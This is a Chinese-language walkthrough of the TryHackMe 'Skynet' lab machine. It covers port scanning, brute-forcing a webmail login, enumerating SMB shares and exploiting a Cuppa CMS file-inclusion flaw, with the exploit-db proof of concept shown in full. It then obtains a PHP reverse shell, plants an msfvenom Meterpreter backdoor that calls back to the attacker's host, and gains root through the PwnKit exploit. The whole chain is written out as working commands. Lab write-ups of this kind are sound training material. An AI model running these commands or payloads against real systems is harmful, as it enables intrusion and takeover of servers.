THM:Skynet[WriteUP]

目录

连接至THM服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

使用nmap对137端口进行针对性扫描

使用enum4linux对靶机SMB服务进行用户、共享枚举

使用smbclient连接至靶机anonumous共享

使用curl访问靶机80端口

使用ffuf对靶机80端口Web进行路径FUZZ

使用浏览器访问/squirrelmail接口

使用BurpSuite尝试对milesdyson用户进行撞库

使用上述凭证成功登入该用户网页后台面板

边界突破

使用enum4linux通过milesdyson用户SMB服务凭证对SMB共享再次枚举

使用smbclient通过milesdyson用户凭证连接到靶机milesdyson共享

使用浏览器访问/45kra24zxs28v3yd接口

使用ffuf对该接口进行路径FUZZ

使用浏览器访问/45kra24zxs28v3yd/administrator/接口

使用searchsploit搜索该WebAPP

查看该PoC内容

使用curl仿照PoC构造URL进行发包

对Kali自带的php-reverse-shell.php反弹Shell脚本中监听IP与监听端口变量进行修改

使用curl构造URL对本地反弹Shell脚本进行访问

本地侧nc收到反弹Shell回显

特权提升

控制靶机将本地linpeas.sh自动化提权信息扫描脚本进行下载

赋执行权限并运行该脚本

找到Executing Linux Exploit Suggester一栏

查看靶机系统位数

使用msfvenom生成64位的Meterpreter木马

启动Metasplolit

切换到监听模块

查看该模块需要补充的选项

控制靶机将本地shell.elf二进制后门文件进行下载

本地侧MSF收到回显

切换到自动化提权扫描模块

查看该模块需要补充的选项

使用自动提权扫描模块中建议的EXP模块尝试提权

查看该模块需要补充的选项

使用Meterpreter的search功能查找root.txt文件


连接至THM服务器并启动靶机

靶机IP:10.10.118.152

分配IP:10.11.120.102


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a 10.10.118.152 -r 1-65535 --ulimit 5000

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -p22,80,110,139,143,445 -sCV 10.10.118.152

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -p22,80,110,139,143,445 --script=vuln -O 10.10.118.152

使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.118.152

使用nmap对137端口进行针对性扫描
nmap -sU -p 137 -sCV --script=vuln 10.10.118.152

使用enum4linux对靶机SMB服务进行用户、共享枚举

enum4linux -U -S 10.10.118.152

使用smbclient连接至靶机anonumous共享

smbclient -L \\\\10.10.118.152\\anonumous
  • 通过浏览该共享,将attention.txt、log1.txt文件下载到本地

  • 查看这两个文件的内容
cat attention.txt

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat attention.txt
A recent system malfunction has caused various passwords to be changed. All skynet employees are required to change their password after seeing this.
-Miles Dyson

cat log1.txt

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat log1.txt
cyborg007haloterminator
terminator22596
terminator219
terminator20
terminator1989
terminator1988
terminator168
terminator16
terminator143
terminator13
terminator123!@#
terminator1056
terminator101
terminator10
terminator02
terminator00
roboterminator
pongterminator
manasturcaluterminator
exterminator95
exterminator200
dterminator
djxterminator
dexterminator
determinator
cyborg007haloterminator
avsterminator
alonsoterminator
Walterminator
79terminator6
1996terminator

  • log1.txt文件看起来像密码列表,因为其中并未出现milesdyson用户名

使用curl访问靶机80端口

curl -I http://10.10.118.152:80

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://10.10.118.152:80
HTTP/1.1 200 OK
Date: Sun, 22 Dec 2024 12:34:01 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Tue, 17 Sep 2019 08:58:28 GMT
ETag: "20b-592bbec81c0b6"
Accept-Ranges: bytes
Content-Length: 523
Vary: Accept-Encoding
Content-Type: text/html

使用ffuf对靶机80端口Web进行路径FUZZ

ffuf -u http://10.10.118.152:80/FUZZ -w ../dictionary/Common-dir.txt

使用浏览器访问/squirrelmail接口

使用BurpSuite尝试对milesdyson用户进行撞库

  • 对响应码进行排序找到302响应

账户:milesdyson

密码:cyborg007haloterminator

使用上述凭证成功登入该用户网页后台面板

  • 点击主题为Samba Password reset的邮件获取该用户SMB服务登录密码

账户:milesdyson

密码:)s{A&2Z=F^n_E.B`


边界突破

使用enum4linux通过milesdyson用户SMB服务凭证对SMB共享再次枚举

enum4linux -u 'milesdyson' -p ')s{A&2Z=F^n_E.B`' -S 10.10.118.152

使用smbclient通过milesdyson用户凭证连接到靶机milesdyson共享

smbclient -N \\\\10.10.118.152\\milesdyson -U 'WORKGROUP/milesdyson%)s{A&2Z=F^n_E.B`'
  • 在\notes目录下找到important.txt文件,将其下载到本地

  • 查看important.txt文件内容
cat important.txt

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat important.txt                                                               

1. Add features to beta CMS /45kra24zxs28v3yd
2. Work on T-800 Model 101 blueprints
3. Spend more time with my wife

  • 根究该文件第一条提示,可知存在接口:/45kra24zxs28v3yd

使用浏览器访问/45kra24zxs28v3yd接口

使用ffuf对该接口进行路径FUZZ

ffuf -u http://10.10.118.152/45kra24zxs28v3yd/FUZZ -w ../dictionary/Common-dir.txt

使用浏览器访问/45kra24zxs28v3yd/administrator/接口

  • 由网页展示可知,该接口使用的WebAPP为Cuppa CMS

使用searchsploit搜索该WebAPP

searchsploit cuppa

  • 将该PoC拷贝到当前目录下
searchsploit -m 25971.txt

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# searchsploit -m 25971.txt
  Exploit: Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion
      URL: https://www.exploit-db.com/exploits/25971
     Path: /usr/share/exploitdb/exploits/php/webapps/25971.txt
    Codes: OSVDB-94101
 Verified: True
File Type: C++ source, ASCII text, with very long lines (876)
Copied to: /home/kali/Desktop/temp/25971.txt

  • 由searchsploit输出可见,该漏洞编号为OSVDB-94101
查看该PoC内容
cat 25971.txt
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat 25971.txt  
# Exploit Title   : Cuppa CMS File Inclusion
# Date            : 4 June 2013
# Exploit Author  : CWH Underground
# Site            : www.2600.in.th
# Vendor Homepage : http://www.cuppacms.com/
# Software Link   : http://jaist.dl.sourceforge.net/project/cuppacms/cuppa_cms.zip
# Version         : Beta
# Tested on       : Window and Linux,--^----------,--------,-----,-------^--,| |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..`+---------------------------^----------|`\_,-------, _________________________|/ XXXXXX /`|     // XXXXXX /  `\   // XXXXXX /\______(/ XXXXXX // XXXXXX /(________(`------'####################################
VULNERABILITY: PHP CODE INJECTION
####################################/alerts/alertConfigField.php (LINE: 22)-----------------------------------------------------------------------------
LINE 22:<?php include($_REQUEST["urlConfig"]); ?>
-----------------------------------------------------------------------------#####################################################
DESCRIPTION
#####################################################An attacker might include local or remote PHP files or read non-PHP files with this vulnerability. User tainted data is used when creating the file name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vulnerability can lead to full server compromise.http://target/cuppa/alerts/alertConfigField.php?urlConfig=[FI]#####################################################
EXPLOIT
#####################################################http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwdMoreover, We could access Configuration.php source code via PHPStreamFor Example:
-----------------------------------------------------------------------------
http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
-----------------------------------------------------------------------------Base64 Encode Output:
-----------------------------------------------------------------------------
PD9waHAgCgljbGFzcyBDb25maWd1cmF0aW9uewoJCXB1YmxpYyAkaG9zdCA9ICJsb2NhbGhvc3QiOwoJCXB1YmxpYyAkZGIgPSAiY3VwcGEiOwoJCXB1YmxpYyAkdXNlciA9ICJyb290IjsKCQlwdWJsaWMgJHBhc3N3b3JkID0gIkRiQGRtaW4iOwoJCXB1YmxpYyAkdGFibGVfcHJlZml4ID0gImN1XyI7CgkJcHVibGljICRhZG1pbmlzdHJhdG9yX3RlbXBsYXRlID0gImRlZmF1bHQiOwoJCXB1YmxpYyAkbGlzdF9saW1pdCA9IDI1OwoJCXB1YmxpYyAkdG9rZW4gPSAiT0JxSVBxbEZXZjNYIjsKCQlwdWJsaWMgJGFsbG93ZWRfZXh0ZW5zaW9ucyA9ICIqLmJtcDsgKi5jc3Y7ICouZG9jOyAqLmdpZjsgKi5pY287ICouanBnOyAqLmpwZWc7ICoub2RnOyAqLm9kcDsgKi5vZHM7ICoub2R0OyAqLnBkZjsgKi5wbmc7ICoucHB0OyAqLnN3ZjsgKi50eHQ7ICoueGNmOyAqLnhsczsgKi5kb2N4OyAqLnhsc3giOwoJCXB1YmxpYyAkdXBsb2FkX2RlZmF1bHRfcGF0aCA9ICJtZWRpYS91cGxvYWRzRmlsZXMiOwoJCXB1YmxpYyAkbWF4aW11bV9maWxlX3NpemUgPSAiNTI0Mjg4MCI7CgkJcHVibGljICRzZWN1cmVfbG9naW4gPSAwOwoJCXB1YmxpYyAkc2VjdXJlX2xvZ2luX3ZhbHVlID0gIiI7CgkJcHVibGljICRzZWN1cmVfbG9naW5fcmVkaXJlY3QgPSAiIjsKCX0gCj8+
-----------------------------------------------------------------------------Base64 Decode Output:
-----------------------------------------------------------------------------
<?phpclass Configuration{public $host = "localhost";public $db = "cuppa";public $user = "root";public $password = "Db@dmin";public $table_prefix = "cu_";public $administrator_template = "default";public $list_limit = 25;public $token = "OBqIPqlFWf3X";public $allowed_extensions = "*.bmp; *.csv; *.doc; *.gif; *.ico; *.jpg; *.jpeg; *.odg; *.odp; *.ods; *.odt; *.pdf; *.png; *.ppt; *.swf; *.txt; *.xcf; *.xls; *.docx; *.xlsx";public $upload_default_path = "media/uploadsFiles";public $maximum_file_size = "5242880";public $secure_login = 0;public $secure_login_value = "";public $secure_login_redirect = "";}
?>
-----------------------------------------------------------------------------Able to read sensitive information via File Inclusion (PHP Stream)################################################################################################################Greetz      : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################ 

使用curl仿照PoC构造URL进行发包

curl -v http://10.10.118.152/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php

  • 对响应中的BASE64数据进行解码
echo 'PD9waHAgCgljbGFzcyBDb25maWd1cmF0aW9uewoJCXB1YmxpYyAkaG9zdCA9ICJsb2NhbGhvc3QiOwoJCXB1YmxpYyAkZGIgPSAiY3VwcGEiOwoJCXB1YmxpYyAkdXNlciA9ICJyb290IjsKCQlwdWJsaWMgJHBhc3N3b3JkID0gInBhc3N3b3JkMTIzIjsKCQlwdWJsaWMgJHRhYmxlX3ByZWZpeCA9ICJjdV8iOwoJCXB1YmxpYyAkYWRtaW5pc3RyYXRvcl90ZW1wbGF0ZSA9ICJkZWZhdWx0IjsKCQlwdWJsaWMgJGxpc3RfbGltaXQgPSAyNTsKCQlwdWJsaWMgJHRva2VuID0gIk9CcUlQcWxGV2YzWCI7CgkJcHVibGljICRhbGxvd2VkX2V4dGVuc2lvbnMgPSAiKi5ibXA7ICouY3N2OyAqLmRvYzsgKi5naWY7ICouaWNvOyAqLmpwZzsgKi5qcGVnOyAqLm9kZzsgKi5vZHA7ICoub2RzOyAqLm9kdDsgKi5wZGY7ICoucG5nOyAqLnBwdDsgKi5zd2Y7ICoudHh0OyAqLnhjZjsgKi54bHM7ICouZG9jeDsgKi54bHN4IjsKCQlwdWJsaWMgJHVwbG9hZF9kZWZhdWx0X3BhdGggPSAibWVkaWEvdXBsb2Fkc0ZpbGVzIjsKCQlwdWJsaWMgJG1heGltdW1fZmlsZV9zaXplID0gIjUyNDI4ODAiOwoJCXB1YmxpYyAkc2VjdXJlX2xvZ2luID0gMDsKCQlwdWJsaWMgJHNlY3VyZV9sb2dpbl92YWx1ZSA9ICIiOwoJCXB1YmxpYyAkc2VjdXJlX2xvZ2luX3JlZGlyZWN0ID0gIiI7Cgl9IAo/Pg==' | base64 -d

数据库:cuppa

账户:root

密码:password123

  • 由于靶机并未将数据暴露在外网中,所以这里尝试通过远程文件包含Getshell

对Kali自带的php-reverse-shell.php反弹Shell脚本中监听IP与监听端口变量进行修改

  • 本地开启一个HTTP服务以便靶机访问该反弹Shell脚本
python -m http.server 8888
#此处切记不可使用`php -S 0:PORT`开启HTTP服务,否则会反弹本地Shell
  • 本地使用nc开始监听反弹Shell脚本中设定的端口
rlwrap -cAr nc -lvnp 1425

使用curl构造URL对本地反弹Shell脚本进行访问

curl http://10.10.118.152/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.11.120.102:8888/php-reverse-shell.php

  • 由python开启的HTTP服务器收到访问请求

┌──(root㉿kali)-[/home/kali/Desktop/WebShell]
└─# python -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.118.152 - - [22/Dec/2024 09:21:36] "GET /php-reverse-shell.php HTTP/1.0" 200 -

本地侧nc收到反弹Shell回显

  • 提升TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
  • 在/home/milesdyson目录下找到user.txt文件

$ python3 -c 'import pty;pty.spawn("/bin/bash")'

www-data@skynet:/home/milesdyson$ ls
ls
backups  mail  share  user.txt


特权提升

控制靶机将本地linpeas.sh自动化提权信息扫描脚本进行下载

curl -O http://10.11.120.102/linpeas.sh

www-data@skynet:/var/www/html/admin$ cd /tmp
cd /tmp
www-data@skynet:/tmp$ ls
ls
systemd-private-e3aa1feddce44ffaa493ef65dc8f48f9-dovecot.service-UAus7R
systemd-private-e3aa1feddce44ffaa493ef65dc8f48f9-systemd-timesyncd.service-YRuskz
www-data@skynet:/tmp$ curl -O http://10.11.120.102/linpeas.sh
curl -O http://10.11.120.102/linpeas.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  805k  100  805k    0     0   389k      0  0:00:02  0:00:02 --:--:--  389k
www-data@skynet:/tmp$ ls
ls
linpeas.sh
systemd-private-e3aa1feddce44ffaa493ef65dc8f48f9-dovecot.service-UAus7R
systemd-private-e3aa1feddce44ffaa493ef65dc8f48f9-systemd-timesyncd.service-YRuskz

赋执行权限并运行该脚本

www-data@skynet:/tmp$ chmod +x linpeas.sh
chmod +x linpeas.sh
www-data@skynet:/tmp$ ./linpeas.sh
./linpeas.sh

找到Executing Linux Exploit Suggester一栏

  • 发现可能存在的CVE漏洞太多了,一个个手测太慢这里直接用MSF

查看靶机系统位数

uname -a

www-data@skynet:/tmp$ uname -a
uname -a
Linux skynet 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

使用msfvenom生成64位的Meterpreter木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.11.120.102 LPORT=1426 -f elf > shell.elf

启动Metasplolit

msfconsole
切换到监听模块
use exploit/multi/handler
查看该模块需要补充的选项
show options
  • 该模块需要补充选项:LHOST、LPORT、PAYLOAD

msf6 exploit(multi/handler) > set LHOST 10.11.120.102
LHOST => 10.11.120.102
msf6 exploit(multi/handler) > set LPORT 1426
LPORT => 1426
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run

控制靶机将本地shell.elf二进制后门文件进行下载
curl -O http://10.11.120.102/shell.elf
  • 在靶机中为shell.elf赋执行权限
chmod +x shell.elf
  • 直接在靶机中运行该二进制文件
./shell.elf

本地侧MSF收到回显

  • 将该Meterpreter终端收入会话
background

meterpreter > background
[*] Backgrounding session 2...

切换到自动化提权扫描模块

use post/multi/recon/local_exploit_suggester
查看该模块需要补充的选项
show options
  • 该模块需要补充选项:SESSION

msf6 post(multi/recon/local_exploit_suggester) > set SESSION 2
SESSION => 2
msf6 post(multi/recon/local_exploit_suggester) > run

  • 由于网络不稳定,该模块扫一部分后被迫暂停

使用自动提权扫描模块中建议的EXP模块尝试提权

use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
查看该模块需要补充的选项
show options

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LHOST 10.11.120.102
LHOST => 10.11.120.102
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LPORT 1427
LPORT => 1427
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set SESSION 2
SESSION => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > exploit

  • 成功提权到ROOT用户

使用Meterpreter的search功能查找root.txt文件
search -f root.txt

meterpreter > search -f root.txt
Found 1 result...
=================

Path            Size (bytes)  Modified (UTC)
----            ------------  --------------
/root/root.txt  33            2019-09-17 23:41:47 -0400

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/64823.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【C语言】矩阵乘法

相信你是最棒哒&#xff01;&#xff01;&#xff01; 文章目录 题目描述 正确代码 总结 题目描述 根据两个矩阵相乘的法则&#xff1a; 矩阵A乘矩阵B&#xff0c;得矩阵C&#xff0c;方法是A的第一行元素分别对应乘以B的第一列元素各元素&#xff0c;相加得C11&#xff0c;A的…

Jackson 的@JsonSerialize 注解

1. 概述 Jackson 提供了一套强大的注解&#xff0c;用于定制 Java 对象与 JSON 之间的序列化和反序列化过程。其中一个非常灵活的注解是JsonSerialize&#xff0c;它用于为对象指定自定义序列化器。在本教程中&#xff0c;我们将通过一个员工管理系统来深入了解这个注解的使用…

2025年前端面试热门题目——HTML|CSS|Javascript|TS知识

以下是对这些 HTML 面试问题的详细解答&#xff1a; 1. HTML 的 src 和 href 属性有什么区别? src (Source) 属性&#xff1a; 用于嵌入资源&#xff0c;例如图像、脚本或 iframe。加载资源时&#xff0c;当前页面的加载会暂停&#xff0c;直到资源加载完成。常用于 <img&g…

Redis篇--常见问题篇7--缓存一致性2(分布式事务框架Seata)

1、概述 在传统的单体应用中&#xff0c;事务管理相对简单&#xff0c;通常使用数据库的本地事务&#xff08;如MySQL的BEGIN和COMMIT&#xff09;来保证数据的一致性。然而&#xff0c;在微服务架构中&#xff0c;由于每个服务都有自己的数据库&#xff0c;跨服务的事务管理变…

简易分页制作

简易分页功能实现 分页是一种常见的前端功能&#xff0c;特别是在需要展示大量数据时。它通过将数据分割成多个页面&#xff0c;帮助用户更容易浏览并提高页面加载性能。本文将介绍一个简易分页的实现思路及其代码实现&#xff0c;旨在帮助开发者快速理解并实现分页功能。 功…

基于winform的五子棋机器人系统开发 (更新中ing)

一、实物硬件表拟定 笔记本电脑、正运动控制器、三个汇川伺服驱动器、三个滑动模组 二、软件开发 注意细节&#xff1a; ①主界面使用三个panel容器进行构建 pannel容器设置属性参数&#xff1a;(1) dock ② 添加自定义控件&#xff1a;首先创建类库&#xff0c;删除默认…

Springmvc,spring ,mybatis,整合,ssm

上一章内容&#xff1a; 1.spring框架:作用 开源的框架--提供IOC和AOPIOC控制反转 把创建对象的权力交于spring创建&#xff0c;并管理对象的生命周期&#xff0c;通过DI完成对象属性的注入。 ​ 2. spring配置中<bean>也可以使用注解Component Controller Service Repo…

微服务分布式(二、注册中心Consul)

首先我们需要安装consul,到官网下载Consul Install | Consul | HashiCorp Developer 在解压的consul目录下 执行启动命令 consul agent -dev 启动服务 -dev表示开发模式 -server表示服务模式 启动后在浏览器访问8500端口http://localhost:8500/可以看到服务管理界面 项目…

示波器--UNI-T 优利德 UT4102C 使用介绍

示波器--UNI-T 优利德 UT4102C 使用介绍 1 介绍图示特点 2 UTP04示波器探头&#xff08;100M带宽&#xff09;3 功能介绍4 示例RS232 电平信号测试 参考 1 介绍 图示 特点 2GS/s的实时采样率&#xff1a;设备能够以每秒2吉萨&#xff08;Giga Samples per second&#xff09;…

半连接转内连接规则的原理与代码解析 |OceanBase查询优化

背景 在查询语句中&#xff0c;若涉及半连接&#xff08;semi join&#xff09;操作&#xff0c;由于半连接不满足交换律的规则&#xff0c;连接操作必须遵循语句中定义的顺序执行&#xff0c;从而限制了优化器根据参与连接的表的实际数据量来灵活选择优化策略的能力。为此&am…

基础库正则表达式

我们已经可以用requests 库来获取网页的源代码&#xff0c;得到 HTML 代码。但我们真正想要的数据是包含在 HTML代码之中的&#xff0c;要怎样才能从 HTML,代码中获取想要的信息呢?正则表达式就是其中一个有效的方法。 本篇博客我们将了解一下正则表达式的相关用法。正则表达…

Azure虚拟机非托管磁盘大小调整

想要扩容一个Azure VM 的磁盘空间&#xff0c;门户里面竟然无法扩展&#xff0c;点点鼠标就完事的时代在离去&#xff0c;微软越来不想微软。 在门户里面即便使用Azure Cli命令行也不行。 PS /home/gpchina> az disk list [] 返回为空&#xff0c;根本没有返回磁盘。 不过使…

PID 控制算法理论背景:飞控领域的核心调控机制(1)

在飞控工程领域&#xff0c;PID 控制算法占据着极为关键的地位&#xff0c;是实现飞行器精确稳定控制的基石。PID 作为比例&#xff08;P&#xff09;、积分&#xff08;I&#xff09;、微分&#xff08;D&#xff09;的集成代表&#xff0c;构建起了控制系统的核心架构&#x…

复合翼与倾转旋翼飞行器:设计与控制算法对比

一、引言 复合翼&#xff08;Compound Wing&#xff09;和倾转旋翼&#xff08;Tilt - Rotor&#xff09;飞行器在现代航空领域均占据独特地位&#xff0c;二者在设计和控制算法方面展现出显著差异。这些差异在飞行模式切换、推进系统设计、控制算法复杂度以及飞行器稳定性等多…

Vue2五、自定义指令,全局局部注册、指令的值 ,插槽--默认插槽,具名插槽 ( 作用域插槽)

一、自定义指令 使用步骤 1. 注册 (全局注册 或 局部注册) &#xff0c;在 inserted 钩子函数中&#xff0c;配置指令dom逻辑 2. 标签上 v-指令名 使用 1、自定义指令&#xff08;全局&#xff09; Vue.directive("指令名"&#xff0c;{ 指令的配置项 insert…

一次BC站点渗透实录

初探 打开首页 简单信息收集: IP地址&#xff1a;美国加利福尼亚洛杉矶 无CDN 中间件:Nginx 80端口直接突破&#xff0c;故未进行端口扫描 渗透思路 一般这种BC站点&#xff0c;有几种思路可以切入&#xff1a; 1&#xff09;通过SQL注入查到管理员账号密码&#xff0c;扫描…

java 集合对象

Java 基础之集合_java集合继承关系图-CSDN博客 集合可以有序或无序&#xff0c;重复或不能重复&#xff0c;空或不能空。 List<> 集合&#xff0c;是有序&#xff0c;允许重复元素&#xff0c;允许空元素 1、ArrayList<> 非线程安全 2、LInkedList<> 非线…

深入探索 ClickHouse:性能优化之道

在大数据处理的广袤天地里&#xff0c;ClickHouse 宛如一颗璀璨的明星&#xff0c;以其卓越的性能为海量数据的存储与查询提供了强大助力。但要想让 ClickHouse 发挥出极致效能&#xff0c;性能优化至关重要。今天&#xff0c;就让我们一同深入探寻 ClickHouse 的性能优化之路。…

web实操8-cookie

会话技术 会话&#xff1a; 一次会话中包含多次请求和响应。 客户端浏览器访问服务器的资源&#xff0c;只要客户端或者服务器端不关闭&#xff0c;这始终在一次会话范围内&#xff0c;这一次会话范围内可以包含多次请求并且收到多次相应。 一次会话&#xff1a;浏览器第一…

Day50 图论part01

图论理论基础 大家可以在看图论理论基础的时候&#xff0c;很多内容 看不懂&#xff0c;例如也不知道 看完之后 还是不知道 邻接矩阵&#xff0c;邻接表怎么用&#xff0c; 别着急。 理论基础大家先对各个概念有个印象就好&#xff0c;后面在刷题的过程中&#xff0c;每个知识…